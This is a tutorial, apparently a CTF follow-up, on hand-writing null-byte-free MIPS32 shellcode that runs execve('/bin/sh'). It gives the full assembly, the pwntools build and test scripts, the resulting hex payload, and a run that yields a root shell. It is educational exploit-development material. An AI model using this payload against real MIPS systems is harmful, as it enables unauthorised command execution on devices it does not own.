Writing shellcode is an art, it is something that I really like to do, because it sparks your creativity and it is fun. So, following this post, which we had to exploit a MIPS32 binary, we will write our own shellcode and make the exploit used in the post a little bit simpler.
First things first, our shellcode is going to spawn
/bin/sh for us, thus, we need to execute the syscall
execve. As by this documentation, execve receives 3 parameters: The path to the program we want to execute, the arguments of the program and an array of environment variables. In fact, we’ll need only the first parameter and we can set the others as null. In MIPS architecture, the parameters to the syscall are passed in registers
a5, as our syscall just requires 3 parameters, we just need to fill
a2, summing up:
a0: Path to
Let’s start codding.
/bin/sh is 7 chars length, apart from that, the string must be null byte terminated. So, we have a total of 8 chars. However, the registers can hold 4 bytes each time, thus, we must split the string.
We’ll start by loading
//bi) to the register
t7, we can do that by splitting into two instructions:
ori. We added one extra slash for padding purpose. This extra slash will cause no harm for our shellcode.
lui $t7, 0x2f2f ori $t7, $t7, 0x6269
lui does is basically loading the highest 16 bits of a register with a constant, and clears the lowest 16 bits to 0s. Then, we use
ori to set the lower 16 bits.
Now, we can use the same trick to fill
n/sh. So, our next instructions are going to be:
lui $t6, 0x6e2f ori $t6, $t6, 0x7368
So far, so good. For now, our string is splitted between two registers:
t6. We will now move this string to the stack, then we can move pointer address to the register
a0. The instruction
sw will allow us to write the value of a register in the stack, the first parameter is the register we want to write, and the second parameter is the offset (relative to the register
sw $t7, -12(sp) it is like, take
t7 value and write into
sp addr - 12.
sw $t7, -12($sp) sw $t6, -8($sp) sw $zero, -4($sp)
Finally, we write
sp - 4 to add a null byte termination to our string and we just need to move the pointer to
a0. This can be accomplished using the instruction
addiu. This instruction means
Add immediate unsigned (no overflow), for the sake of simplicity, it is like, take the value X, sum with Y and store into Z (
addiu Z, X, Y), so, what the instruction below will do is, subtract 12 from
sp and store the value into
addiu $a0, $sp, - 12
And here comes to easy part. We need to zero
a2. This can be easily done using the
slti instruction. Once again, for the sake of simplicity, this instruction means
set on less than, that is, check if value X is less than Y, if it is, set Z to 1, if it is not, set Z to 0 (
slti Z, X, Y). So, if we write
slti a1, zero, -1, it will write zero into
a1, because zero is higher than -1!
slti $a1, $zero, -1 slti $a2, $zero, -1
The syscall number goes into
v0, so we must set this register to the value of the syscall we want to execute. You can check this link and find out that execve is 4011. So, let’s set
v0 to 4011 using the instruction
li $v0, 4011
Now, we just need to call the
syscall instruction. However,
syscall default opcode translates into
\x00\x00\x00\x0c. We want to avoid null bytes, by the time of writing this post, I don’t fully understand how the
syscall opcode works in MIPS, so, I took the same opcode from this post and, by trial and error changing the argument, I’ve got
syscall 0x040405, which translates into 0x4c010101, it is enough to bypass the null byte restriction.
Finally, we can use pwntools to compile the shellcode and return the hex code. But, before we can do that, we need to install the package binutils and, as I’m running an Ubuntu container in docker, I can install by apt-get:
[email protected]:/ctf/pwn5# apt-get install binutils-mips-linux-gnu
Everything’s ready, it is time to run the script below and get the hex code of our shellcode.
from pwn import * context.update(arch='mips', os='linux', bits=32, endian='big') shellcode = asm(''' lui $t7, 0x2f2f ori $t7, $t7,0x6269 lui $t6, 0x6e2f ori $t6, $t6, 0x7368 sw $t7, -12($sp) sw $t6, -8($sp) sw $zero, -4($sp) addiu $a0, $sp, -12 slti $a1, $zero, -1 slti $a2, $zero, -1 li $v0, 4011 syscall 0x040405 ''') print(''.join([ '\\x%02x' % x for x in shellcode ]))
Save it as
shellcode.py and run to get the shellcode hex:
[email protected]:/ctf/pwn5# python3 shellcode.py \x3c\x0f\x2f\x2f\x35\xef\x62\x69\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xaf\xff\xf4\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x4c
Now, you can test the shellcode using pwntools and installing the package
libc6-mips-cross, if you are running Ubuntu like me, you just need to call
[email protected]:/ctf/pwn5# apt-get install libc6-mips-cross
So far, so good, save the script below as
from pwn import * context.update(arch='mips', os='linux', bits=32, endian='big') shellcode = asm(''' lui $t7, 0x2f2f ori $t7, $t7,0x6269 lui $t6, 0x6e2f ori $t6, $t6, 0x7368 sw $t7, -12($sp) sw $t6, -8($sp) sw $zero, -4($sp) addiu $a0, $sp, -12 slti $a1, $zero, -1 slti $a2, $zero, -1 li $v0, 4011 syscall 0x040405 ''') filename = make_elf(shellcode, extract=False) p = process(filename) p.interactive()
Run it with python3 and cross your fingers.
[email protected]:/ctf/pwn5# python3 test-shellcode.py [+] Starting program '/tmp/pwntools-asm-hodmq658/step3-elf': Done [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root)
I hope you enjoy this small tutorial and learn something. Get in touch if you need assistance or just to do a comment.